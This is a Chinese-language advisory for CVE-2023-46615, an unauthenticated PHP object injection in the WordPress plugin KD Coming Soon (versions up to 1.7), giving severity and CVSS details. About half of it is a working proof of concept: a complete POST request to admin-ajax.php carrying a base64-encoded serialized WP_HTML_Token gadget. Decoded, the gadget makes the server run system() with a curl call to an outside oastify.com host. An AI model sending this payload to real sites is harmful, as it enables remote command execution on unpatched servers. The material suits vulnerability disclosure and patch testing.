KD Coming Soon <= 1.7 - 未经身份验证的PHP对象注入（通过cetitle）
WordPress的KD Coming Soon插件在所有版本（包括1.7）中容易通过反序列化不受信任的输入cetitle（位于易受攻击的kd_cemailer函数中）导致PHP对象注入。这使得未经身份验证的攻击者能够注入PHP对象。易受攻击的插件中不存在POP链。如果目标系统上安装了其他插件或主题中存在POP链，则可能允许攻击者删除任意文件、检索敏感数据或执行代码。
严重性：高
CVE ID：CVE-2023-46615
CVSS评分：8.1
CVSS指标：CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
插件Slug：kd-coming-soon
WPScan URL：https://www.wpscan.com/plugin/kd-coming-soon
参考URL：https://www.wordfence.com/threat-intel/vulnerabilities/id/0f831d48-733a-4e79-8559-92b03b8d0356
仅适用于WordPress 6.4+
POST /wp-admin/admin-ajax.php?action=kd_cemailer&nonce=c0465c51ee HTTP/1.1
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 231
Origin: http://wordpress.lan
Connection: close
Referer: http://wordpress.lan/
action=kd_cemailer&cetitle=TzoxMzoiV1BfSFRNTF9Ub2tlbiI6Mjp7czoxMzoiYm9va21hcmtfbmFtZSI7czo0OToiY3VybCB1NHpjNXI5N3B2ZnF1NHgwMXNlenRlbmprYXExZXUyai5vYXN0aWZ5LmNvbSI7czoxMDoib25fZGVzdHJveSI7czo2OiJzeXN0ZW0iO30%3d&email=test%40Test.com
对TzoxMzoiV1BfSFRNTF9Ub2tlbiI6Mjp7czoxMzoiYm9va21hcmtfbmFtZSI7czo0OToiY3VybCB1NHpjNXI5N3B2ZnF1NHgwMXNlenRlbmprYXExZXUyai5vYXN0aWZ5LmNvbSI7czoxMDoib25fZGVzdHJveSI7czo2OiJzeXN0ZW0iO30%3d进行URL解码和Base64解码，并替换curl命令：O:13:"WP_HTML_Token":2:{s:13:"bookmark_name";s:49:"curl u4zc5r97pvfqu4x01seztenjkaq1eu2j.oastify.com";s:10:"on_destroy";s:6:"system";}